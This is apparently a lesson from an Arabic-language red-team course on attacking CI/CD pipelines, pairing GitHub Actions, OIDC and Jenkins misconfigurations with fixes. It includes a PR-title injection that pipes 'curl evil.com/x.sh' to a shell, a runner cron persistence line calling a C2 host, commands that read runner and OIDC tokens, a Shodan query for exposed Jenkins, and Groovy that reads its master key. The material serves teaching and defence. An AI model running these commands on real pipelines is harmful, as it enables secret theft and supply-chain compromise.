اعرف اللي قصادك. احمي أرضك.
الفرق الحمراء — الهجوم

CI/CD Attacks — الـ Pipeline اللي بيخش لـ prod

GitHub Actions و GitLab CI و Jenkins — secrets و runners و artifacts

المستوى
خبير
المدة
85m
الترتيب
الدرس 72 من 85
CI/CDGitHub ActionsJenkinsOIDCSLSA

ليه CI/CD هدف ذهبي؟

سؤال بسيط: مين عنده صلاحيات أكتر من المدير التقني نفسه في الشركة؟

- المبرمج يا حضرتك؟

لأ.

- طب الـ DBA؟

لأ يا مستجد.

الـ runner اللي شغّال في GitHub Actions، اللي محدش بيبص ناحيته من 3 سنين. هو اللي عنده cloud admin، registry write، deploy keys، و secrets كل الإنتاج. كله في pod واحد.

تشبيه يقرّب الفكرة
المصنع مش بيحرس نفسه عند خط التجميع، هو بيحرس البوابة. الـ CI/CD هو خط التجميع: أي حد بيحط حاجة صغيرة عليه، بتوصل لكل عربية بتطلع منه. ولو حد دسّ سطر في workflow، السطر ده بيتنفّذ بصلاحيات الإنتاج. مش صلاحيات بتاعتك أنت.

نقاط الدخول الرئيسية

Pull Request poisoning
PR من حد بره الـ org بيعدل ملف workflow — أو بيضيف dependency خبيثة — وبيشتغل بصلاحيات الـ runner المتميز قبل أي مراجعة.
Secrets في logs / artifacts
echo $TOKEN أو printenv في job، وبعدين الـ logs بتبقى علنية. أو artifact مش مقصود اتحفظ.
Self-hosted runners
Runner مستمر، صعب تنضفه بين jobs. PR من fork بيوصل لجهاز فعلي ويفضل قاعد فيه.
OIDC misconfig
ربط GitHub Actions بـ AWS/Azure عن طريق OIDC وحط sub: * أو نسيت فلتر الفرع → أي repo في الـ org بياخد الهوية.
Branch protection bypass
حسابات bot بتتخطى الـ review. أو token معاه contents: write بيكتب على فرع محمي عن طريق الـ API.
Dependency confusion
تنشر package داخلية بنفس الاسم على npm/pypi العلني → الـ CI بيسحب الخبيثة لأن الـ resolver مش بيفرق.

GitHub Actions — أكتر سطح بيتضرب

1) pull_request_target — الفخ الكلاسيكي

yaml
# خطير! يُشغّل بصلاحيات repo (secrets) لكن مع كود الـ PR
on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}    # كود غير موثوق!
      - run: npm install && npm run build                   # ينفّذ scripts الخبيثة
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}              # السرّ مكشوف

الحل: استخدم pull_request العادي (مفيش secrets على PRs خارجية)، أو افصل: workflow بدون امتيازات بيبني، وworkflow تاني بيستخدم الـ secrets بس بعد label يدوي.

2) Script injection عبر context

yaml
- run: echo "Title: ${{ github.event.pull_request.title }}"
  # عنوان PR مثل: $(curl evil.com/x.sh | sh) — ينفّذ على الـ runner!

الحل: مرر القيم عبر env:

yaml
- run: echo "Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

3) Third-party action مثبّتة بـ tag (mutable)

yaml
- uses: tj-actions/changed-files@v44   # tag يمكن تحريكه!
# في 2025 تم اختراق tj-actions و أُعيد توجيه v44 لـ commit يسرّب secrets

الحل: ثبّت بـ SHA كامل:

yaml
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8   # v44.5.7

Self-hosted runners — أخطر منشأة في خط الـ CI/CD

$ # داخل runner مخترق — استمرارية:
$ echo '* * * * * curl https://c2/x.sh | bash' >> ~/.cron
$ # سرقة GITHUB_TOKEN لأي job يعمل بعدك
$ cat /tmp/_runner_file_commands/* 2>/dev/null
$ # سرقة OIDC token (يفتح AWS/Azure)
$ echo $ACTIONS_ID_TOKEN_REQUEST_TOKEN
$ echo $ACTIONS_ID_TOKEN_REQUEST_URL

OIDC misconfiguration — اختراق سحابي من غير باسورد

json
// AWS Trust policy خطر — أي workflow في الـ org يأخذ الدور!
{
  "Effect": "Allow",
  "Principal": { "Federated": "arn:aws:iam::1234:oidc-provider/token.actions.githubusercontent.com" },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringLike": {
      "token.actions.githubusercontent.com:sub": "repo:my-org/*"   // <— خطأ
    }
  }
}

الصح: قيّد بفرع محدد وrepo محدد:

text
"token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"

Jenkins — قديم وفيه مفاجآت

  • Script Console (/script) → تنفيذ Groovy = root على الـ master. ناس كتير سايبه مكشوف.
  • build with parameters → injection في shell step.
  • credentials.xml على الـ master فيه كل الأسرار مشفرة بمفتاح موجود جنبها. تحفة، مش كدة؟
$ # اكتشاف Jenkins مكشوف
$ shodan search 'http.title:"Dashboard [Jenkins]" http.html:"sign up"'
$ # لو وصلت Script Console:
$ # Manage Jenkins → Script Console:
$ println "id".execute().text
$ println new File('/var/lib/jenkins/secrets/master.key').text

Container registries والـ artifacts

سرقة push token = نشر صورة خبيثة بنفس الاسم. كل اللي بيسحب latest بينفذها على نفسه.

bash
# Docker Hub — push صورة مع entrypoint خبيث
docker build -t myorg/app:latest -f Dockerfile.evil .
docker push myorg/app:latest

# الحماية: image signing
cosign sign --key cosign.key myorg/app:sha256@...
cosign verify --key cosign.pub myorg/app:latest    # في deploy step

SLSA و Sigstore — توقيع موثوق

SLSA (Supply-chain Levels for Software Artifacts) إطار من Google بيحدد مستويات النضج. الهدف: كل artifact بييجي معاه provenance موقّعة بتثبت مين بناه ومن فين.

  • Sigstore / cosign — توقيع keyless عن طريق OIDC (Fulcio CA + Rekor transparency log).
  • SLSA Level 3: build على hosted ephemeral runner، provenance مينفعش تتزور.
  • التحقق في admission: Kubernetes + Kyverno/Connaisseur بيرفضوا الـ pods من غير توقيع.

الكشف والحماية

الخلاصة الناشفة

الـ CI/CD مش أداة DevOps. هو أعلى صلاحيات في شركتك مجمّعة في process مفيش حد بيراقبه.

اكتبها على الحيطة اللي في وش السرير:

مفيش pinning بـ SHA؟ يبقى أنت بتثق في صاحب الـ repo التاني عشان ما يحرّكش الـ tag.

OIDC مفتوح بـ wildcard؟ يبقى أنت بتدّي AWS لأي repo في الـ org.

self-hosted runner على repo عام؟ يبقى أنت بتدّي shell على بنيتك لأي حد فاتح GitHub.

الـ pipeline ده مش بتاع المبرمجين لوحدهم. هو بتاع الـ security team برضو. لو سيبته لوحدهم يظبّطوه، الكارثة جاية. السؤال بس: إمتى.

خلّصت الدرس؟

علّمه علشان تفضل عارف انت فين على السكة.